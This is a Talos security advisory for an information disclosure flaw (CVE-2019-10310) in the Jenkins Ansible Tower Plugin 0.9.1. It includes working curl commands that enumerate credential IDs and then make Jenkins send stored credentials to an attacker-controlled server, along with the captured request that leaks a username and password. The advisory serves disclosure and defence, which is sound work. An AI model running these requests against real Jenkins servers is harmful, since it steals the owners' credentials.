Talos Vulnerability Report

TALOS-2019-0786

Jenkins Ansible Tower Plugin information disclosure vulnerability

May 6, 2019
CVE Number

CVE-2019-10310

Summary

An exploitable information disclosure vulnerability exists in the testTowerConnection function of the Jenkins Ansible Tower Plugin 0.9.1. A specially crafted HTTP request from a user with Overall/Read permissions - such as an anonymous user, if enabled - can cause affected versions of this plugin to disclose credentials from the Jenkins credentials database to an attacker-controlled server. As this vulnerability is exploitable through HTTP GET request, this vulnerability may also be exploited via Cross Site Request Forgery (CSRF). In addition to the above, if the responding server does not return properly formatted JSON document, the response will be reflected to the user as part of the reported error resulting in an HTTP GET only Server Side Request Forgery (SSRF).

This vulnerability is also present in the fillTowerCredentialsIdItems endpoint exposed by this plugin, which allows for the enumeration of credentials identifiers required for this attack to be successful.

Tested Versions

Jenkins Ansible Tower Plugin 0.9.1

Product URLs

https://github.com/jenkinsci/ansible-tower-plugin https://plugins.jenkins.io/ansible-tower

CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-285: Improper Authorization

Details

Ansible an open-source software that allows users to configure and deploy various applications. The Ansible Tower plugin aims to make Ansible even more easy to use for IT teams of all kinds. This vulnerability exists in the testTowerConnection endpoint exposed by the doTestTowerConnection method of org.jenkinsci.plugins.ansible_tower.util.TowerInstallation due to missing Jenkins permissions check. The same missing permissions check also exists in the doFillTowerCredentialsIdItems method, which yields the ability to enumerate credentials.

Due to the way in which this plugin expects to authenticate against the remote Ansible Tower instance, the credentials associated with the attacker specified towerCredentialsId are base64-encoded and submitted as part of the HTTP Authorization header to the attacker-controlled server, and are also included plaintext in a JSON document submitted to the attacker specified endpoint. An example of this attack against a Jenkins 2.165 instance running a vulnerable version of this plugin and configured to allow anonymous read access has been provided below.

# List credentials on target Jenkins instance.
$ curl -s -X GET -G \
    -d 'pretty=true' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/fillTowerCredentialsIdItems'
{
"_class" : "com.cloudbees.plugins.credentials.common.StandardListBoxModel",
"values" : [
    {
    "name" : "- none -",
    "selected" : false,
    "value" : ""
    },
    {
    "name" : "BBBBBB/****** (ExampleOnly)",
    "selected" : false,
    "value" : "01e367ef-54fb-4da0-8044-5112935037bb"
    },
    {
    "name" : "SecureUsername/****** (Credentials for X)",
    "selected" : false,
    "value" : "287fcbe2-177e-4108-ac58-efdc0a507376"
    },
    {
    "name" : "A Secret Text Entry",
    "selected" : false,
    "value" : "532ba431-e25d-4aad-bc74-fb5b2cc03bd7"
    }
]
}

# Send credentials to an attacker's server (http://127.0.0.1:7000?).
# The trailing '?' is to ensure that the expected path is appended as a
# query parameter, rather than part of the query path.
#
# Two requests are performed by Jenkins here. The first is a 'ping', which
# requires that the target respond with a well formed JSON response -
# though any JSON response will do. If this first request fails, the reply
# will be reflected to the client (SSRF). If it succeeds, a subsequent
# POST will be performed which contains the credentials.
#
$ curl -s -X GET -G \
    -d 'towerURL=http://127.0.0.1:7000/report.json?' \
    -d 'towerTrustCert=false' \
    -d 'enableDebugging=true' \
    -d 'towerCredentialsId=287fcbe2-177e-4108-ac58-efdc0a507376' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/testTowerConnection'

The request submitted by the plugin to the remote server as an HTTP GET, will appear similar to the following:

# First request from Jenkins (GET)
/report.json?/api/v2/ping/
Host: 127.0.0.1:7000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5)

# Second request from Jenkins (POST)
/report.json?/api/v2/authtoken/
Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v
Content-Type: application/json
Content-Length: 61
Host: 127.0.0.1:7000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5)

{"username":"SecureUsername","password":"SecurePasswordOhNo"}

Mitigation

Until such time that the vendor produces a patched version, this plugin should be disabled (if possible), or unnecessary users with Overall/Read permissions removed (such as anonymous access).

Timeline

2019-03-12 - Vendor Disclosure
2019-04-30 - Vendor Patched
2019-05-06 - Public Release

Credit

Discovered by Peter Adkins of Cisco Umbrella.